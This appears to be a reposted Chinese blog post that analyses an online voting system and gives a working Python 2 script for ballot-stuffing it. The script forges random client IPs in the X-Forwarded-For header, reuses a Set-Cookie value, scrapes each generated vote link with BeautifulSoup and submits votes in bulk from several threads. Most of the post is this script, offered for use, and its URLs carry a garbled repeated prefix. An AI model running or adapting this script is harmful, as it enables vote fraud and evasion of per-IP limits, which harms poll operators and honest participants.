某投票系统刷票分析[python]
转载法克,作者:haxsscker
总结分析:编写脚本
既然如此,思路就要变了
撸主得出的刷票方法如下:
修改(伪造)IP--------->获取返回头中的Set-Cookie--->使用这个cookie打开投票网页---->抓取生成的投票地址---->打开投票地址完成投票
于是,下面的PYTHON脚本就出现了(其中地址用team.f4ck.net代替,do_HTTP_request是撸主自己写的请求package,就是完成了一次urlopen请求而已)
beautifulsoup这个包以前就给大家讲过,是用来抓取html标签的
具体实现就看代码吧
#! /usr/bin/env python
#coding=utf-8
import sys,time,random
import threading,Queue,os,urllib2
import msvcrt
from do_HTTP_request import do_HTTP_request
from bs3 import BeautifulSoup
class ShuaAShua(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.cookie1 = urllib2.urlopen("http://team.f4ck.net/person.php").info().getheader('Set-Cookie')
def run(self):
while 1:
if queue.empty()== True:
break
time.sleep(1)
self.ips = [str(random.randint(1,255)),str(random.randint(1,255)),str(random.randint(1,255)),str(random.randint(1,255))]
self.headers={"Host":"team.f4ck.net",\
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0",\
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",\
"Accept-Encoding":"gzip,deflate,sdch",\
"Proxy-Connection":"keep-alive",\
"X-Forwarded-For":'.'.join(self.ips),\
"Accept-Language": "zh-CN,zh;q=0.8",\
"Referer":"http://team.f4ck.net/person.php",\
"Cookie": self.cookie1}
try:
self.response = do_HTTP_request("http://team.f4ck.net/person.php",httpheaders=self.headers)
self.soup = BeautifulSoup(self.response)
self.userids = str(self.soup.findAll('div', {'class':'tp'})[n]) //看你要投第几个,N要变化
self.x = self.userids.find("href=\"")
if self.x != -1:
self.y = self.userids.find("\">",self.x+5)
print self.userids[self.x+6:self.y].replace('&','&')
self.theURL = "http://team.f4ck.net/"+self.userids[self.x+6:self.y].replace('&','&')
self.response2 = do_HTTP_request(self.theURL, httpheaders=self.headers)
print self.response2.read()
except Exception,e:
print e
class ThreadGetKey(threading.Thread):
def run(self):
while 1:
try:
chr = msvcrt.getch()
if chr == 'q':
print "stopped by your action ( q )"
os._exit(1)
else:
continue
except:
os._exit(1)
if __name__ == '__main__':
telnum = None
threads = []
telnum = raw_input("piao shu: ")
if telnum == None:
telnum = 20
else:
try:
piaoshu = int(telnum)
except:
print "enter a number!!"
sys._exit()
shouhu = ThreadGetKey()
shouhu.setDaemon(True)
shouhu.start()
queue = Queue.Queue()
for p in range(piaoshu):
queue.put(p)
for i in range(5):
print i
a = ShuaAShua()
a.start()
threads.append(a)
for j in threads:
j.join()
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏